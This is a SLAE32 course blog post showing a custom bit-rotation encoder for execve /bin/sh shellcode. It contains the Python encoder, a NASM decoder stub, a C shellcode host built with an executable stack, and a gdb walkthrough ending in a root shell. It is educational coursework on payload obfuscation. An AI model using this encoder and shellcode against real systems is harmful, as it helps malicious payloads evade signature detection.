SLAE32 Assignment 4 - Rotation Encoder
Overview
For my fourth assignment in the SLAE32 course, I created a custom Rotation Encoder.
- How this works is to encode the payload, it rotates every bit to the left by one.
- If the greatest bit (valued 128) falls off the left, it wraps around to the lowest bit (valued 1).
Encode
- If the greatest bit (valued 128) falls off the left, it wraps around to the lowest bit (valued 1).
- To decode, all the bits are rotated to the right by one.
- If there is a low bit, it is moved to the highest bit.
Decode
- If there is a low bit, it is moved to the highest bit.
Encoding the Payload
The payload used for this example is the execve
shellcode; provided in the SLAE course.
Grabbing the Payload Shellcode
Shellscript for automation
#!/bin/bash
# Filename: objdump2hex.sh
# Author: boku
OBJFILE=$1
objdump -d $(pwd)/${1} | grep '[0-9a-f]:' | grep -v 'file'\
| cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' \
| sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s \
| sed 's/^/"/' | sed 's/$/"/g'
- To quickly grab the hex from shellcode, I used the method shown in the SLAE course.
- To make it easier, I added it to a shellscript.
Using the Script to get the Payload Shellcode
root@zed# ./objdump2hex.sh execve-stack
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
- Perfect. Now we will need to encode this shellcode using our Python Encoder
rotateLeftEncoder.py
.
Encoding the Payload with the Encoder
Python Encoder
#!/usr/bin/python
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
shellcode += "\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1"
shellcode += "\xb0\x0b\xcd\x80"
encoded1 = ""
encoded2 = ""
for x in bytearray(shellcode) :
if x > 127:
x = x - 128 # Remove the left-most bit
x = x << 1 # Shift to the left 1
x += 1 # Add 1, to complete the rotate
encoded1 += '\\x'
encoded1 += '%02x' %x # Add the rotated left hex to string
encoded2 += '0x'
encoded2 += '%02x,' %x # Add the rotated left hex to string
else:
encoded1 += '\\x' # No leftmost bit, just rotate
encoded1 += '%02x' %(x << 1)
encoded2 += '0x' # No leftmost bit, just rotate
encoded2 += '%02x,' %(x << 1)
print encoded1
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
- The new encoded shellcode is output in both the
\x
format and the0x,
format. - As you can see in the top section, all that needs to be done to change the shellcode payload is replace the string in the
shellcode
array.
Executing the Encoder
root# python rotateLeftEncoder.py
\x62\x81\xa0\xd0\x5e\x5e\xe6\xd0\xd0\x5e\xc4\xd2\xdc
\x13\xc7\xa0\x13\xc5\xa6\x13\xc3\x61\x16\x9b\x01
0x62,0x81,0xa0,0xd0,0x5e,0x5e,0xe6,0xd0,0xd0,0x5e,0xc4,\
0xd2,0xdc,0x13,0xc7,0xa0,0x13,0xc5,0xa6,0x13,0xc3,0x61,\
0x16,0x9b,0x01
Len: 25
# Add 0xff to the end of the payload
- Our encoded shellcode payload is
25 bytes
. - We will need to add a final byte to the end
0xff
.- This byte will be used by our decoder to let it know it has reached the end of our payload.
- We will copy the second output with the
0x,
format, to our nasm program after appending the byte.
Decoding the Payload
- This assembly program will use the
JMP|Call|POP
technique to put the memory location of our encoded string into the ESI Register. - Once in the ESI Register, we will decode our payload byte-by-byte.
The Decoder
; Filename: rotateRightDecoder.nasm
; Author: boku
global _start
section .text
_start:
jmp short call_decoder ; 1. jump to where the shellcode string is
decoder:
pop esi ; 3. Put string location in esi register
decode:
ror byte [esi], 1 ; 4. decode the byte by bitwise rotate right
cmp byte [esi], 0xFF ; 5. Is this the last byte?
je Shellcode ; - If so jump into the payload and execute
inc esi ; 6. Not end? Move forward 1 byte
jmp short decode ; 7. Lets decode the next byte
call_decoder:
call decoder ; 2. Put the mem location of the string on the stack
Shellcode: db 0x62,0x81,0xa0,0xd0,0x5e,0x5e,\
0xe6,0xd0,0xd0,0x5e,0xc4,0xd2,0xdc,0x13,\
0xc7,0xa0,0x13,0xc5,0xa6,0x13,0xc3,0x61,\
0x16,0x9b,0x01,0xff
- The instruction
jmp short decode
is an unconditional jump. We use this to create the loop to decode our shellcode. ror byte [esi], 1
- rotate to the right one bit, one byte at a time,
- If the decoded byte is
\xff
then we will jump to the shellcode using the instructionje Shellcode
. - If the byte is not
\xff
then the zero flag will not be set, and that jump will be ignored. - Now that both the decoder and encoder are created, the last thing to do is compile and test.
Testing the Decoder
Compiling Shellcode and Host Program
Compiling the Decoder
nasm -f elf32 rotateRightDecoder.nasm -o rotateRightDecoder.o
ld -o rotateRightDecoder rotateRightDecoder.o
- To compile my Assembly code I used the NASM Compiler with these commands. After creating the object file with NASM, I linked the object file using
ld
. - Trying to run the decoder itself fails with a segmentation dump.
- We will extract the hex code using the objdump cl-fu method above and inject it into a host program.
Extracting the Hex from the Decoder
root# objdump -d 4-rolDecoder | grep '[0-9a-f]:' | \
grep -v 'file'| cut -f2 -d: | cut -f1-6 -d' ' | \
tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | \
sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | \
sed 's/$/"/g'
"\xeb\x0b\x5e\xd0\x0e\x80\x3e\xff\x74\x08\x46\xeb\xf6\xe8"
"\xf0\xff\xff\xff\x62\x81\xa0\xd0\x5e\x5e\xe6\xd0\xd0\x5e"
"\xc4\xd2\xdc\x13\xc7\xa0\x13\xc5\xa6\x13\xc3\x61\x16\x9b"
"\x01\xff"
- Now we will load this into our
shellcode.c
host program.
Shellcode.c Host Program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x0b\x5e\xd0\x0e\x80\x3e\xff\x74\x08\x46\xeb\xf6\xe8"
"\xf0\xff\xff\xff\x62\x81\xa0\xd0\x5e\x5e\xe6\xd0\xd0\x5e"
"\xc4\xd2\xdc\x13\xc7\xa0\x13\xc5\xa6\x13\xc3\x61\x16\x9b\x01\xff";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
- I tested the shellcode using the C program shown in the SLAE course.
- After extracting the shellcode using the above bash script, I added it to the C program as the
code[]
array.
Compiling Host C Program
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
Analyzing with gdb
gdb setup
root# gdb ./shellcode
gdb-peda$ info variables
0x0804a040 code
gdb-peda$ b *0x0804a040
Breakpoint 1 at 0x804a040
gdb-peda$ run
# Current Instruction
=> 0x804a040 <code>: jmp 0x804a04d <code+13>
- Here we see the program being run with gdb.
- A breakpoint was set for when the program starts to execute the instructions at the
code[]
array varaible. - We see that our program successfully stopped at the break-point.
- After the jump we will do a call, which will load the memory address of our encoded execve program on to the top of the stack.
Stepping Through the Decoder with gdb
Decoder JMP|Call|POP
# Break-Point
# Jump
=> 0x804a040 <code>: jmp 0x804a04d <code+13>
# step into with si
gdb-peda$ si
# Call
=> 0x804a04d <code+13>: call 0x804a042 <code+2>
# Pop
0x804a042 <code+2>: pop esi
# Decode with Rotate Right
=> 0x804a043 <code+3>: ror BYTE PTR [esi],1
# Check end of encoded payload
0x804a045 <code+5>: cmp BYTE PTR [esi],0xff
- Here we can see our
JMP|Call|POP
instructions being executed.- This loads the address of our encoded payload into the
esi
register.
- This loads the address of our encoded payload into the
- After decoding
1 byte
we can see that our decoder checks to see if it is at the end.
Decode First Byte
# First Encoded Byte
gdb-peda$ x/c $esi
0x804a052 <code+18>: 0x62
# Instructions to Decode First Byte
0x804a043 <code+3>: ror BYTE PTR [esi],1
=> 0x804a045 <code+5>: cmp BYTE PTR [esi],0xff
# First Decoded Byte
gdb-peda$ x/c $esi
0x804a052 <code+18>: 0x31
- We see that our first byte encoded byte was successfully decoded.
Decoding all the Bytes
=> 0x804a048 <code+8>: je 0x804a052 <code+18>
# JUMP is NOT taken
0x804a04a <code+10>: inc esi
=> 0x804a04b <code+11>: jmp 0x804a043 <code+3>
# JUMP is taken
- To move to the next byte in our encoded payload string we use the instruction
inc esi
. - We go through this 26 more times until we reach the byte
0xff
.
Finding the End of Payload
0x804a043 <code+3>: ror BYTE PTR [esi],1
=> 0x804a045 <code+5>: cmp BYTE PTR [esi],0xff
=> 0x804a048 <code+8>: je 0x804a052 <code+18>
# JUMP is taken
=> 0x804a052 <code+18>: xor eax,eax
0xff
rotated either way, any amount of times, is always0xff
.- After reaching the final byte
0xff
we jump into our decoded payload.
Injected Shellcode at time of Execve Payload Execution
[------------------registers------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff500 ("/bin//sh")
ECX: 0xbffff4f8 --> 0xbffff500 ("/bin//sh")
EDX: 0xbffff4fc --> 0x0
[---------Current-Instruction-----------------]
=> 0x804a069 <code+41>: int 0x80
0000| 0xbffff4f8 --> 0xbffff500 ("/bin//sh")
0004| 0xbffff4fc --> 0x0
0008| 0xbffff500 ("/bin//sh")
0012| 0xbffff504 ("//sh")
0016| 0xbffff508 --> 0x0
# Execute the Execve 0x80 systemcall
gdb-peda$ si
process 27199 is executing new program: /bin/dash
# whoami
[New process 788]
process 788 is executing new program: /usr/bin/whoami
root
- We see we successfully decoded and executed our execve payload.
Testing without gdb
root# ./shellcode
Shellcode Length: 44
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
- Boom! Our decoded works!
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913